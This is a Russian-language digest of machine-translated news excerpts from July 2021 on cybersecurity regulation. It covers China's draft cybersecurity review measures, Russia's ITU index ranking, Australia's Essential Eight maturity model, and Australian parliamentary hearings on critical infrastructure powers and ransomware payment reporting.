II. Если оператор, который хранит персональные данные более 1 миллиона пользователей, будет размещен в зарубежной стране, он должен подать заявку на проверку кибербезопасности. Учитывая огромную численность населения Китая, это не высокий порог. Поскольку это первый раз, когда китайские нормативные акты используют определенный объем данных в качестве порогового значения,

возможно, что этот порог будет использоваться для определения других обзоров, связанных с кибербезопасностью и защитой данных [4].

б. Обзор кибербезопасности по инициативе правительства. В случае, если член Рабочей системы проверки кибербезопасности считает, что какой-либо сетевой продукт и услуга, деятельность по обработке данных и листинг в другой стране влияют или могут повлиять на национальную безопасность, Управление проверки кибербезопасности может подать заявку на одобрение CAC в чтобы инициировать проверку кибербезопасности.

(2) Проверенные документы

Операторы должны будут представить в CAC соответствующие материалы для рассмотрения, которые включают отчет об анализе воздействия на национальную безопасность, закупочные документы, соглашения, контракты, которые должны быть подписаны, или документы для подачи заявки на IPO.

Поскольку документы по сделке будут раскрыты государственным органам для проверки кибербезопасности, стороны должны принимать во внимание такое возможное раскрытие при совершении транзакций.

(3) Риски кибербезопасности

Обзор кибербезопасности будет сосредоточен на следующих рисках:

я. Риски незаконного контроля, вмешательства или повреждения CII из-за развертывания продукта и услуги;

II. Ущерб непрерывности бизнеса CII из-за приостановки поставки продуктов и услуг;

iii. Безопасность, открытость, прозрачность, разнообразие источников, надежность каналов поставок и другие риски приостановки поставок по политическим, дипломатическим, торговым и другим причинам;

iv. Статус поставщика товаров и услуг в соответствии с китайскими законами, административными постановлениями и ведомственными правилами;

v. Риски кражи, утечки, повреждения и незаконного использования или трансграничной передачи основных данных, важных данных или массивной личной информации;

vi. Риски того, что ИС, основные данные, важные данные или массивная личная информация будут подвержены влиянию, контролю или злонамеренному использованию иностранным правительством после листинга в другой стране;

vii. Другие факторы, которые могут подорвать безопасность CII или национальную безопасность данных.

Обзор кибербезопасности будет сосредоточен на (i) риске кибербезопасности, (ii) риске цепочки поставок, (iii) риске соблюдения требований законодательства сторонними поставщиками, (iv) риске безопасности данных и (v) риске национальной безопасности. Таким образом, поставщики сетевых продуктов и услуг, которые имеют более низкий уровень риска, более надежные производственные мощности, меньше подвержены политической, дипломатической и торговой нестабильности и имеют лучший правовой статус соответствия, станут более конкурентоспособными на китайском рынке.

3. Процесс и сроки обзора кибербезопасности

Проверки кибербезопасности в основном выполняются Китайским центром технологий и сертификации по обзору кибербезопасности (CCRTC), который принимает документы заявки, проводит формальную проверку и организует проверку по существу под надзором Управления проверки кибербезопасности CAC.

Обзор кибербезопасности состоит из стандартного процесса обзора, который будет завершен в течение 70 рабочих дней в случае, если члены «Рабочей системы обзора кибербезопасности» могут прийти к единодушному мнению. В противном случае будет инициирован специальный процесс проверки, который обычно завершается в течение 3 месяцев с возможным продлением в сложных случаях.

4. Юридическая ответственность

С точкой зрения правовых обязательств нарушения обязательств по рассмотрению кибербезопасности, проект привел кибербезопасность закон и Закон о безопасности данных. В соответствии с Законом о кибербезопасности любое лицо, не подавшее заявку на проверку кибербезопасности или использовавшее какие-либо продукты и услуги, не прошедшие проверку на предмет кибербезопасности, подлежит штрафу в размере до 10 раз превышающей цену закупленных продуктов или услуг, а ответственное лицо будет подлежит штрафу до 100 000 юаней.

Хотя согласно Закону о безопасности данных, нарушение обязательств по обеспечению безопасности данных может привести к максимальному штрафу в размере 10 миллионов юаней в случае серьезного нарушения.

Проект поправки к Мерам по проверке кибербезопасности будет способствовать дальнейшему усилению надзора за кибербезопасностью и безопасностью данных после принятия Закона о безопасности данных. Между тем, в текущем проекте мер все еще есть сомнения, а некоторые системы и правила также полагаются на дальнейшее обнародование других вспомогательных положений. При этом нет сомнений в том, что реализация мер не только повлияет на китайские обработчики данных, но также окажет значительное влияние на сетевое оборудование и поставщиков услуг как в Китае, так и за рубежом.

Таким образом, эти компании должны учитывать эти последствия в своем бизнесе, прилагать усилия для обеспечения соответствия требованиям безопасности и защиты данных, чтобы воспользоваться соображениями безопасности и преобразовать их в свои конкурентные преимущества. Гарригес также продолжит уделять пристальное внимание процессу внесения поправок в Меры по проверке кибербезопасности и делиться своими наблюдениями». ***(Manuel Torres, Dun Zhang. China to enhance cybersecurity review measures // J&A GARRIGUES, S.L.P. (https://www.garrigues.com/en_GB/new/china-enhance-cybersecurity-review-measures). 13.07.2021).***

***

«Итоги 2020 года неожиданно подняли Россию на пятое место в международном индексе кибербезопасности. Такую статистику в беседе с журналистами предоставил вице-премьер Дмитрий Чернышенко, подчеркнув отдельно, что наша страна совершила скачок на целую 21 позицию. Всего исследователи Международного союза электросвязи изучили 193 страны, оценивая национальные стратегии информационной безопасности. Учитывались как законодательные меры, так и организационные с техническими. В сравнении с предыдущим рейтингом, по словам Чернышенко, Россия забралась на 21 позицию выше и теперь занимает «одну строчку с Малайзией и ОАЭ». «Конечно же, нам есть куда стремиться, поскольку многие проекты в области кибербезопасности всё ещё не реализованы. В ближайшие годы планируем обеспечить более высокие позиции страны в рейтинге», — отметил вице-премьер РФ. Задача глобального индекса кибербезопасности, сравнивающего национальные стратегии в сфере кибербезопасности, — помочь создать условия для интеграции в глобальном масштабе, подчеркнули в аппарате вице-премьера. Напомним, что на днях Евгений Касперский объяснил доминирование русскоязычных киберпреступников тем, что самые талантливые программисты — выходцы из России или граждане нашей страны». ***(Екатерина Быстрова. Россия заняла пятое место в международном индексе кибербезопасности // ООО «АМ-МЕДИА» (https://www.anti-malware.ru/news/2021-07-05-111332/36318). 05.07.2021).***

***

Австралія

«Ранее в этом году Комиссия по производительности Австралии выпустила промежуточный отчет, в котором анализировались уязвимые цепочки поставок с упором на импорт. Окончательный отчет сейчас находится на рассмотрении правительства и, как ожидается, будет посвящен экспорту.

Цель работы, проводимой Комиссией по производительности, объясняется как изучение характера и источников рисков для эффективного функционирования австралийской экономики и благосостояния австралийцев, связанных с перебоями в глобальных цепочках поставок, а также выявление любых значительных уязвимостей и возможных подходов к их устранению. управлять ими.

Улучшения в технологиях и либерализация торговли упростили и удешевили закупку многих товаров и услуг из-за рубежа. Это принесло выгоды за счет специализации и экономии за счет масштаба. Это также повысило сложность цепочек поставок - современные цепочки поставок часто полагаются на вводятся со всего мира и могут состоять из тысяч фирм», - говорится в отчете [PDF] на примере цепочки поставок Toyota, которая состоит из более чем 2100 поставщиков.

«Эта запутанная сеть экономических взаимозависимостей означает, что цепочка поставок потенциально подвержена множеству типов потрясений, которые

могут повлиять на любой бизнес, как в Австралии, так и за рубежом: геополитические (например, торговая война), экологические (стихийное бедствие), экономический (финансовый кризис), социальный (пандемия) и инфраструктурный (кибератаки)».

Хотя промежуточный отчет был подготовлен перед атаками программ-вымогателей Colonial Pipeline и Kaseya, и в том же месяце, когда стали известны подробности уязвимостей Microsoft Exchange, он был составлен с учетом многих других киберинцидентов, влияющих на цепочки поставок, но он все еще был незначительным. на «кибер».

В своем представлении [PDF] Комиссии по производительности IBM заявила, что кибербезопасность должна быть выделена как самый большой риск для производительности цепочки поставок. Однако в нем говорится, что отчасти проблема заключается в том, что не существует единого функционального определения безопасности цепочки поставок, и снижение этого риска будет «подвижной целью и возрастающей проблемой».

«Цепочки поставок представляют собой все более сложные глобальные сети, состоящие из больших и постоянно растущих объемов сторонних партнеров, которым необходим доступ к данным и которые должны обеспечивать гарантии того, что они могут контролировать, кто видит эти данные», - говорится в сообщении. «Дальнейшие проблемы возникают из-за сегодняшних ограничений в отношении персонала, бюджетов, быстрых непредвиденных изменений в политике или геополитике, партнерских стратегиях и соотношении спроса и предложения».

Big Blue назвала промежуточный отчет лишь поверхностным упоминанием как кибератак как рисков, связанных с инфраструктурой, так и более широких технологических последствий. В отчете упоминаются некоторые технологические последствия, однако они ограничиваются Интернетом вещей и киберрисками.

«Это значительный пробел», - говорится в сообщении. «Необходима широкая ситуационная осведомленность по элементам цепочки поставок, чтобы любые уязвимости были быстро обнаружены и устранены, а любые последствия эксплуатации были обнаружены как можно скорее.

«Безопасность не следует рассматривать как отдельное соображение по отношению к какой-либо из проблем, связанных с технологиями или инфраструктурой, указанными выше, а как общую встроенную «безопасность, заложенную в конструкции» в сети цепочки поставок».

Помимо упоминания Интернета вещей, в отчете также были затронуты блокчейн и искусственный интеллект.

«Технологический прогресс облегчил компаниям понимание своих цепочек поставок. Достижения в технологиях отслеживания, анализа данных и машинного обучения облегчили прогнозирование, где и когда могут произойти сбои. Эти достижения также упростили доступ к реальным- своевременная информация о сбоях, что способствует более быстрому реагированию и восстановлению», - говорится в отчете.

В отчете говорится, что одним из рисков и затрат, связанных с использованием Интернета вещей, является повышенная уязвимость цепочки для кибератак. В нем также говорится, что блокчейн применим для ведения учета,

например, для отслеживания происхождения товаров и установления доверия к общей информации о поставщиках. Что касается ИИ, в отчете отмечается, что многие компании использовали эту технологию для автоматизации многих аспектов управления цепочкой поставок, включая складские операции, транспорт и логистику, а также управление запасами.

IBM утверждала, что использование ИИ, блокчейна и внедрение центров киберустойчивости, таких как действующие в порту Лос-Анджелеса в партнерстве с IBM, продемонстрировали подход на основе концепции безопасности и гарантировали, что управление рисками может стать ключевым фактором. фактор в цепочке поставок, обеспечиваемый технологиями.

«Крайне важно, чтобы этот подход к управлению рисками учитывал все элементы цепочки поставок, чтобы зрелость могла расти одинаково и, следовательно, ограничивать возможности злоумышленников использовать любое звено в цепочке», - заявила IBM.

В другом месте в документе IBM говорится, что «инфраструктура должна уделять больше внимания тому, как новые технологии являются взаимоисключающими для ИТ-систем».

«Сосредоточившись на поддержании производительности цепочки поставок, Австралия не может позволить себе просто «реагировать» на еще одно событие «черного лебедя» (например, еще одну пандемию). Хотя инвестиции в технологии неизбежны для повышения устойчивости и прозрачности, эту тему следует рассматривать с двух сторон. возможности: стать когнитивными (переход на уровень зрелости искусственного интеллекта, блокчейна, Интернета вещей и автоматизации) и в облаке (охватывающий комбинацию общедоступной, частной и модернизации мэйнфреймов)», - говорится в сообщении.

«Рабочие процессы цепочки поставок идеально подходят для использования ИИ, блокчейна, Интернета вещей и автоматизации для достижения новых уровней оперативности. Эти рабочие процессы бросают вызов разрозненным процессам, позволяя цепочкам поставок работать как консорциум, а не как индивидуальные партнерства». ***(Asha Barbaschow. Lack of cyber in Australian supply chain resilience plan has IBM concerned // ZDNet (https://www.zdnet.com/article/cyber-is-lacking-in-australias-supply-chain-resilience-plan/). 22.07.2021).***

***

«В модели Essential Eight Maturity Model теперь отдается приоритет реализации всех восьми стратегий смягчения последствий в виде пакета из-за их взаимодополняемости и сосредоточенности на различных киберугрозах», - говорится в сообщении ACSC.

«Организации должны полностью достичь уровня зрелости по всем восьми стратегиям смягчения, прежде чем переходить к более высокому уровню зрелости».

ACSC теперь заявляет, что модель зрелости сосредоточена на «сетях, подключенных к Интернету на базе Windows», и, хотя она может быть применена к другим средам, другие «стратегии смягчения могут быть более подходящими».

По сравнению с последней версией, модель зрелости добавляет новый нулевой уровень зрелости, который определяется как среды со слабыми сторонами, которые не могут предотвратить массовые атаки на первом уровне, и уровни согласованы с кибер-торговлей и используемой тактикой.

«В зависимости от общих возможностей противника, они могут демонстрировать разные уровни мастерства для разных операций против разных целей. Например, противник, способный к продвинутому мастерству, может использовать его против одной цели, используя базовое мастерство против другой», - говорится в руководстве.

«Таким образом, организации должны учитывать, какой уровень мастерства и таргетинга, а не каких противников они стремятся уменьшить».

Атаки на первом уровне зрелости включают в себя те, которые используют общедоступные атаки методом распыления и молитвы, чтобы поразить любую жертву, которую они могут, в то время как атаки на втором уровне зрелости будут тратить больше времени на цель и инструменты.

«Эти злоумышленники, вероятно, будут использовать хорошо известные методы, чтобы лучше попытаться обойти меры безопасности, реализуемые целью, и уклониться от обнаружения», - говорится в руководстве.

«Это включает в себя активный таргетинг учетных данных с помощью фишинга и использование технических приемов и методов социальной инженерии для обхода слабой многофакторной аутентификации».

На самом высоком уровне, третьем уровне зрелости, атаки не так сильно зависят от общедоступных эксплойтов, будут перемещаться горизонтально через сети после получения доступа и могут выполнять такие задачи, как кража токенов аутентификации. Руководство предупреждает, что даже самой лучшей киберзащиты может быть недостаточно.

«Третий уровень зрелости не остановит противников, которые хотят и могут вложить достаточно времени, денег и усилий, чтобы скомпрометировать цель», - говорится в нем.

«Таким образом, организациям все еще необходимо рассмотреть оставшиеся стратегии смягчения последствий из Стратегий смягчения инцидентов кибербезопасности и Руководства по информационной безопасности правительства Австралии».

КОПАЕМСЯ В УРОВНЯХ

Хотя у руководства те же общие заголовки, что и у его предыдущей итерации, многие детали изменились, стали более точными, а также сократились различные рекомендации по срокам.

Особо следует отметить для третьего уровня постоянную рекомендацию о централизованном ведении журналов в разных системах, гарантирующем невозможность изменения журналов и их использование в случае киберинцидента.

При управлении приложениями первый уровень зрелости требует «запретить выполнение исполняемых файлов, программных библиотек, сценариев, установщиков, скомпилированных HTML, HTML-приложений и апплетов панели управления» на рабочих станциях в профилях пользователей и временных папках. На следующем уровне это расширяется до серверов, выходящих в Интернет, и

исполняемых файлов в белом списке. На третьем уровне ограничения включают все серверы, а также внесение драйверов в белый список, использование правил блокировки Microsoft и проверку белого списка.

Что касается исправлений приложений, рекомендации первого уровня теперь сокращают исправление приложений на серверах, подключенных к Интернету, до двух недель или 48 часов, если существует эксплойт, а для программного обеспечения для рабочих станций крайний срок составляет месяц. ACSC также рекомендует использовать сканеры уязвимостей ежедневно на серверах с выходом в Интернет, а в противном случае - раз в две недели.

«Интернет-сервисы, офисные пакеты для повышения производительности, веб-браузеры и их расширения, почтовые клиенты, программное обеспечение PDF, Adobe Flash Player и продукты безопасности, которые больше не поддерживаются поставщиками, удаляются», - говорится в рекомендации первого уровня.

На втором уровне крайний срок исправления приложения для рабочей станции сокращается до двух недель, в то время как для всех остальных обновлений крайний срок составляет месяц. Также на втором уровне сканирование уязвимостей должно производиться не реже одного раза в неделю на рабочих станциях и раз в две недели для всех остальных частей сети. На самом высоком уровне любое неподдерживаемое приложение удаляется, а время исправления на рабочей станции сокращается до 48 часов, если существует эксплойт.

Установка исправлений для операционных систем предусматривает те же сроки и рекомендации по сканированию уязвимостей, с включением на третьем уровне только использования последней или непосредственно предшествующей версии поддерживаемой операционной системы.

ACSC также рекомендовал отключать макросы для пользователей без бизнес-обоснования, блокировать макросы в загруженных файлах, антивирусные решения для сканирования макросов и не разрешать пользователям изменять безопасность макросов. На втором уровне обнаруживаются макросы, заблокированные для вызовов Win32 API, и попытки выполнения marco записываются в журнал. На третьем уровне макросы должны запускаться в изолированной программной среде или в надежном расположении и должны быть проверены и иметь цифровую подпись от доверенных издателей, которые занимают список, который пересматривается не реже одного раза в год.

В рамках усиления защиты приложений, а также рекомендаций 2017 года по блокировке рекламы и Java в браузерах ACSC добавляет, что пользователи не могут изменять настройки безопасности, а IE 11 не может обрабатывать контент из сети. На втором уровне программам Office и PDF запрещается создавать дочерние процессы, а также запрещается создавать исполняемые файлы, внедрять код в другие процессы или активировать пакеты OLE. Любое заблокированное выполнение сценариев PowerShell необходимо регистрировать, а параметры безопасности программного обеспечения Office и PDF нельзя изменить.

Internet Explorer 11, NET Framework 3.5 и ниже и PowerShell 2.0 отключаются или удаляются на третьем уровне. PowerShell также можно настроить для использования режима ограниченного языка, утверждает ACSC.

Рассматривая ограничение прав администратора, в руководстве теперь говорится, что привилегированным учетным записям, за исключением привилегированных учетных записей служб, следует запретить доступ к Интернету и запускать только в привилегированной среде, которая не допускает непривилегированный вход в систему. На втором уровне доступ к привилегированным системам отключается через год, если не будет повторной авторизации, и удаляется после 45 дней бездействия. ACSC добавил, что привилегированные среды не могут быть визуализированы на непривилегированных системах, действия администратора должны использовать серверы переходов, использование и изменения привилегированных учетных записей должны регистрироваться, а учетные данные уникальны и управляются.

На третьем уровне исключение привилегированных учетных записей служб удаляется, используется своевременное администрирование, привилегированный доступ ограничивается только тем, что нужно пользователям, и используются Credential Guard в Защитнике Windows и Remote Credential Guard в Защитнике Windows.

Многофакторная аутентификация (MFA) рекомендуется для сторонних сервисов, использующих данные организации, и на серверах организации, подключенных к Интернету. Это увеличивается до рекомендации MFA для привилегированных пользователей и регистрации всех взаимодействий MFA на втором уровне; для третьего уровня он расширен за счет включения «важных репозиториев данных» и обеспечения «устойчивости MFA к олицетворению проверяющего».

При резервном копировании предыдущая ежемесячная рекомендация отбрасывается в пользу «скоординированного и отказоустойчивого способа в соответствии с требованиями непрерывности бизнеса», а сроки тестирования восстановления из резервной копии и хранения данных резервной копии опускаются. В качестве рекомендации добавлено обеспечение доступа непривилегированных пользователей к своим резервным копиям только для чтения. На втором уровне доступ только для чтения предоставляется привилегированным пользователям, а на третьем уровне только администраторы резервного копирования могут читать резервные копии, и только «учетные записи для резервного копирования» могут изменять или удалять резервные копии». ***(Chris Duckett. ACSC introduces Essential Eight zero level cyber maturity and aligns levels to tradecraft // ZDNet (https://www.zdnet.com/article/acsc-introduces-essential-eight-zero-level-cyber-maturity-and-aligns-levels-to-tradecraft/). 13.07.2021).***

***

«Генеральный директор CRC Австралии по кибербезопасности Рэйчел Фальк прояснила спорные полномочия правительства, которые должны быть закреплены в законопроекте о поправках к законодательству о безопасности (критическая инфраструктура) 2020 года.

Она сообщила Объединенному парламентскому комитету по разведке и безопасности (PJCIS), что в законопроекте есть «небольшая проблема с

навешиванием ярлыков», когда он называется «вмешательством» полномочий или полномочий для вмешательства.

«Я не думаю, что подразумевается, если можно так выразиться, не то, что мы называем в традиционном законодательстве о корпорациях вмешательством в права, которое традиционно ассоциируется с ликвидируемыми компаниями, в которые входят ликвидаторы и занимают место компании и буквально управляют компанией как своей собственной», - сказала она.

«Так что я думаю, что эта сила была неправильно понята и обозначена неправильно».

Фальк сказал, что вместо этого это следует объяснить как способ для Австралийского управления сигналов (ASD) или его Австралийского центра кибербезопасности (ACSC) поделиться своим опытом.

«Это может быть в виде обязательного уведомления, отправленного в организации, когда она явно изо всех сил пытается получить контроль над довольно серьезной кибератакой, что затем они могут получить обязательное уведомление, а затем они должны обсудить с PAC», - сказала она.

«Я думаю, что здесь немного упущено в дебатах, так это то, что Австралийское управление связи является здесь экспертом в отношении браконьеров и егерей, они зарабатывают этим на жизнь каждый день. Так что обязательное уведомление, которое нужно подавать, а не вмешиваться в права, Я считаю, что этот ярлык должен быть удален».

Во время слушаний в четверг PJCIS получил известие от четырех крупных технологических компаний, которые заявили, что им не нужна помощь правительства Австралии, и установка программного обеспечения принесет больше вреда, чем пользы. Но позже в тот же день все было по-другому: представители национальных секторов водоснабжения, электроэнергии и логистики приняли государственную помощь, если она была в пределах разумного.

В рамках своего свидетельства директор по совершенствованию бизнеса Австралийской ассоциации водоснабжения Грег Райан обсудил возможность возмещения убытков или страхования, обеспечивающих безопасность организации, перед взаимодействием с ASD / ACSC.

Фальк считает, что переименование его в «принудительное участие», а не в качестве шага к власти, устранит необходимость в возмещении ущерба.

«Я думаю, что есть видение, что Гомер Симпсон приходит и нажимает всевозможные красные кнопки, которые в этом случае вам может потребоваться сценарий возмещения убытков. Я думаю, что если бы было больше обязательных уведомлений для участия, то они были бы работа с пострадавшей организацией, а не работа с пострадавшей организацией», - сказала она.

«Это может означать, что в возмещении нет необходимости, потому что они говорят, что вам нужно участвовать, и мы советуем вам прислушаться к этому совету.

«Я вижу преимущества возмещения, но если бы они были просто предметом обязательного уведомления о привлечении, они могли бы проигнорировать совет ASD и, следовательно, не нуждались бы в возмещении».

Она также коснулась требования уведомить правительство о происшествии в течение 12 часов. Хотя Фальк согласилась, что в течение 12 часов может быть неизвестно, что произошел инцидент, она предложила «поэтапный подход» к уведомлению.

«Немедленное уведомление не слишком обременительно. Как только вы понимаете, что находитесь в середине инцидента, и детали могут появиться в разумный период времени... Я думаю, что это поэтапный процесс, при котором есть немедленное уведомление, у нас есть инцидент мы не уверены в том, что это такое, мы вернемся, как только у нас будет ясность в течение 21 дня», - подумала она.

ОБРАЩЕНИЕ К УВЕДОМЛЕНИЮ О ПЛАТЕЖЕ С ПОМОЩЬЮ ПРОГРАММ-ВЫМОГАТЕЛЕЙ

В прошлом месяце федеральная оппозиция внесла в парламент законопроект, который, в случае его принятия, потребует от организаций информировать ACSC до того, как преступной организации будет произведен платеж в ответ на атаку с использованием программ-вымогателей.

Билл 2021 вымогателей Оплаты был введен в Палате представителей, помощник министра Теней для Cyber Security Тима Уоттс, который в то время воспользовался возможностью, чтобы сказать текущую позицию правительства расскажет бизнес, чтобы защитить себя от «запирания двери для кибер-преступника банды «недостаточно хороши».

Эксперт по кибербезопасности и бывший глава CISA в США Крис Кребс согласился с Уоттсом.

Он сказал PJCIS, что было бы полезно заставить поставщиков критически важной инфраструктуры раскрывать инциденты кибербезопасности, включая программы-вымогатели.

«Обязательное сообщение для любой жертвы программы-вымогателя до того, как она совершит платеж», - сказал он комитету. «Что касается программ-вымогателей, в частности, мы не знаем, насколько велика эта проблема, на самом деле, вероятно, единственные люди, которые знают, насколько она велика, - это сами преступники. И они, очевидно, не делятся этим с нами.

«Мы должны добраться до знаменателя атак программ-вымогателей, и самый простой способ сделать это - потребовать, чтобы жертвы программ-вымогателей уведомляли правительство. Пока еще не решено, является ли сама выплата выкупа незаконной, я думаю, это отдельный разговор., но как минимум, если вы собираетесь участвовать в транзакции с группой программ-вымогателей, это необходимо уведомить».

Кребс сказал, что это было сделано для того, чтобы власти могли понять масштаб проблемы, а также собрать данные о платеже.

«Мы также хотим удостовериться, что информация, в частности кошелек, на который идет платеж с помощью программы-вымогателя, будет отслеживаться сотрудниками правоохранительной разведки, чтобы осветить экономику», - пояснил он.

В прошлом месяце Министерство юстиции США сообщило, что ему удалось вернуть часть выкупа, уплаченного Colonial Pipeline киберпреступникам, стоящим за программой-вымогателем DarkSide в мае.

Министерство юстиции и ФБР изъяли 63,7 биткойна - на тот момент оцениваемую в 2,3 миллиона долларов - из 75 биткойнов, которые генеральный директор Colonial Pipeline признался в оплате. Несмотря на уплату выкупа, переданные средства шифрования не работали и не помогли компании восстановить свои системы.

К УЧЕНИКАМ СЛЕДУЕТ ОТНОСИТЬСЯ КАК К СОТРУДНИКАМ ASIO

Исполняющий обязанности национального секретаря Австралийского союза электротехников Майкл Райт сказал комитету во время своего выступления, что законопроект в его нынешней редакции будет предусматривать, что стажеры-электрики будут придерживаться тех же стандартов безопасности, что и сотрудники ASIO.

«Мы взаимодействуем с Министерством внутренних дел по поводу разработанных правил… Департамент не знаком с нашей отраслью, и вы не могли бы разумно ожидать, что это так. Проблема, которая у нас есть, заключается в том, что они требуют В проекте правил, который они разработали, сказано, что каждый, кто получает доступ, предоставляет доступ к активам, должен будет пройти через процесс Auscheck», - сказал Райт.

«Это может иметь или не иметь смысла в других отраслях, но в отрасли, где актив означает столб мощности, и вам действительно нужно разрешение на доступ, чтобы работать над этим, это означает, что вся рабочая сила... или рабочие в этой отрасли в конечном итоге потребуются пройти через этот Auscheck, этот ASIO-фон… действительно важно вникать в их личную жизнь».

Сенатор Джеймс Патерсон сказал, что он считает непреднамеренным последствием того, что стажер электрика подвергнется проверке ASIO федеральным правительством, назвав эту идею «абсурдной».

«Это процесс, который может занять от шести месяцев до года, и он исследует все семейные и личные связи, которые могут быть у человека, его международные поездки, его предыдущую работу - серьезно ли вы предполагаете, что ученики-электрики должны будут получать фотоэлектрические системы? [положительный результат проверки] разрешение службы безопасности на работу? »- спросил Патерсон.

«Мы высказали эти опасения и ничего не получили в ответ», - сказал Райт в ответ.

БОЛЬШЕ ИЗ ЗАПРОСА

Дело Криса Кребса о включении избирательных систем в качестве критически важной инфраструктуры

Эксперт по кибербезопасности сообщил австралийскому парламентскому комитету, что есть элементы функции администрации выборов, которые «абсолютно» следует рассматривать как критически важную инфраструктуру.

Поставщики логистических и коммунальных услуг соглашаются помочь ASD в случае киберинцидента.

После того, как в прошлом году Toll дважды подвергся нападению программы-вымогателя, он заявил, что приветствует установку программного обеспечения от правительства Австралии для борьбы с киберпреступниками, признав, что оно уже ввело ASD в свои системы. Qantas, AGL и Австралийская

ассоциация водоснабжения тоже довольны предстоящим мандатом, при условии, что он будет выполняться пропорционально.

Технологические гиганты говорят, что государственная киберпомощь просто вызовет больше проблем

Google, Microsoft, AWS и Atlassian считают, что они лучше всех могут реагировать на киберинциденты и что установка программного обеспечения от правительства Австралии только увеличит риск для их соответствующих платформ и систем». ***(Asha Barbaschow. Critical infrastructure Bill has a government 'step in' powers labelling problem // ZDNet (https://www.zdnet.com/article/rebranding-asd-step-in-powers-to-compulsory-engagement-to-fix-critical-infrastructure-bill-concerns/). 09.07.2021).***

***

«Технологические гиганты сообщили австралийскому комитету по разведке и безопасности, что они не предвидят сценария, при котором установка государственного программного обеспечения была бы полезной и не потребовала бы помощи со стороны правительства в реагировании на киберинциденты.

«Я не могу представить себе ситуацию, когда установка программного обеспечения ASD в наших сетях могла бы помочь», - сказал директор группы анализа угроз Google Шейн Хантли.

«У нас хорошие рабочие отношения с ACSC, и мы продуктивно обменивались угрозами, и мы считаем, что есть продуктивные средства для совместной работы в качестве сотрудников, а не в качестве принуждения или их вмешательства для управления нашими системами и установки каких-либо вещей в наши системы.

«Вот где мы проводим сильную линию».

Среди прочего, закон 2020 года о внесении поправок в законодательство о безопасности (критическая инфраструктура) позволит правительству оказывать «помощь» организациям в ответ на серьезные кибератаки на австралийские системы. Сюда входит предложение об установке программного обеспечения, которое рекламируется как помощь поставщикам в борьбе с угрозами.

В четверг Хантли сказал Объединенному парламентскому комитету по разведке и безопасности (PJCIS), который изучает законопроект, что в случае инцидента Google будет полностью сотрудничать с Австралийским управлением сигналов (ASD), чтобы при необходимости помочь в реагировании. однако на этом все и закончится.

«Я не верю, что существует ситуация, когда установка программного обеспечения ASD в наших сетях или наших системах, особенно в разгар инцидента, на самом деле вызовет что-либо, кроме дополнительных проблем, и это не поможет решению, и это не собирается помочь решить текущую проблему», - продолжил он.

Рядом с Хантли появился директор Atlassian по глобальной государственной политике Дэвид Мастерс, который повторил во многом то же самое - дело не в том, что его компания не хотела бы работать с Австралийским центром кибербезопасности (ACSC), но позволяя официальным лицам входить в сети своей

компании. установка программного обеспечения и некоторое ускорение работы служб и процессов - это не тот сценарий, который, по его мнению, Atlassian желает или даже требует.

Технический сектор с первого дня выразил обеспокоенность по поводу прихода к власти правительства. Amazon Web Services (AWS) ранее заявлял, что правительственные полномочия по «помощи» или «вмешательству» могут дать ему слишком широкие полномочия по выдаче указаний или действовать автономно, и Microsoft ранее сообщала PJCIS, что предпочла бы, чтобы правительство не вмешивалось в его реагирование на инциденты.

Когда Atlassian и Google свидетельствовали о том, что, по мнению группы, правительственная помощь не потребуется, AUCloud вмешался и сказал: «Никогда не говори никогда».

Сенатор Джеймс Патерсон сказал, что это замечательно, что Atlassian и Google не увидели сценария, при котором помощь могла бы помочь, и заявил, что это мнение других свидетелей, кроме AUCloud. Затем он дал Microsoft и AWS возможность разъяснить свою позицию, но обе компании предпочли этого не делать, хотя после слушания AWS отмежевалась от комментариев.

Ранее в ходе слушаний директор AWS по государственной политике Австралии и Новой Зеландии Роджер Сомервилль заявил, что существует риск вмешательства правительства.

«Во всем законопроекте есть более глубокое предположение, которое, кажется, состоит в том, что если что-то плохое случится с критически важной частью инфраструктуры Австралии, тогда правительство способно вмешаться и исправить это, и во многих случаях мы думаем, что это действительно большая проблема. риск вмешательства правительства и непонимания того, как работает регулируемый субъект, что, возможно, ухудшит положение, что приведет к возникновению новых или новых проблемных рисков для безопасности и системных рисков », - сказал Сомервилль.

«Мы думаем, что это может иметь действительно серьезные последствия для экономики Австралии, и этого следует избегать».

Точно так же Хасан Али, помощник главного юрисконсульта в офисе критической инфраструктуры Microsoft, сказал до замечаний Google и Atlassian, что «установка любого типа программного обеспечения, особенно в сложной и взаимосвязанной сети, будет иметь серьезные неблагоприятные последствия».

«В секторе хранения или обработки данных с поставщиками гипермасштабируемых облаков это взаимозависимые системы, они привносят уязвимости, и мы думаем, что это потенциально станет источником существенного риска для третьих сторон, который нам, возможно, придется уменьшить, от правительство, если есть неуверенность в том, как эти полномочия могут быть использованы», - сказал Али.

Хотя Хантли согласился с тем, что установка программного обеспечения, позволяющего отслеживать и обнаруживать угрозы и собирать данные, будет полезна для тех, у кого нет сложной ИТ-среды и внутренних возможностей, это не относится к подобным Google.

«У нас есть тысячи инженеров по безопасности, у нас есть собственные системы для мониторинга, анализа и обнаружения угроз, и лучший способ - и действительно, единственный реальный способ сделать такой мониторинг - это наши собственные системы и наши собственные инструменты ", - сказал он. «Я действительно не могу представить себе ситуацию, когда есть какое-то программное обеспечение от ACSC или ASD, установка которого в наших системах даже не будет работать, не говоря уже о безопасности».

Вместо этого он предпочел бы, чтобы правительство предоставляло информацию об угрозах.

«Если ASD хочет сказать: «Вот что нужно искать в ваших системах, вот IP-адреса, вот сигнатуры вредоносного ПО, вот данные, которые помогут в этом случае », мы всегда хотим видеть эту информацию», - сказал он. сказал.

«Нам нужна информация и сотрудничество, потому что единственное настоящее программное обеспечение, безопасное для работы в своего рода Google или гипермасштабируемой облачной среде, - это наше программное обеспечение и наши системы, которые были протестированы и проверены.

«Я не думаю, что здесь был пробел, который может быть восполнен правительством».

Выступая вслед за технологическими гигантами, генеральный директор auDA Розмари Синклер заявила, что министерство внутренних дел приняло рекомендацию рассматривать систему доменных имен как подсектор, а не «захватывать» более широкий сектор коммуникаций.

Синклер добавил, что администратор домена уже придерживается стандартов кибербезопасности, таких как Essential Eight и ISO27001, использует DNSSEC и работает с частями своей цепочки поставок и операторами реестра над кибер-оценками и упражнениями красной группы. Она сказала, что AuDA будет проверять их каждые 12 месяцев, и потенциальным штрафом за несоблюдение требований будет потеря аккредитации.

«В случае необходимости у нас есть собственные механизмы аварийного восстановления, и мы можем вмешаться, если регистр или реестр выйдет из строя. Все это уже существует, достаточно обширно и эффективно», - сказал Синклер.

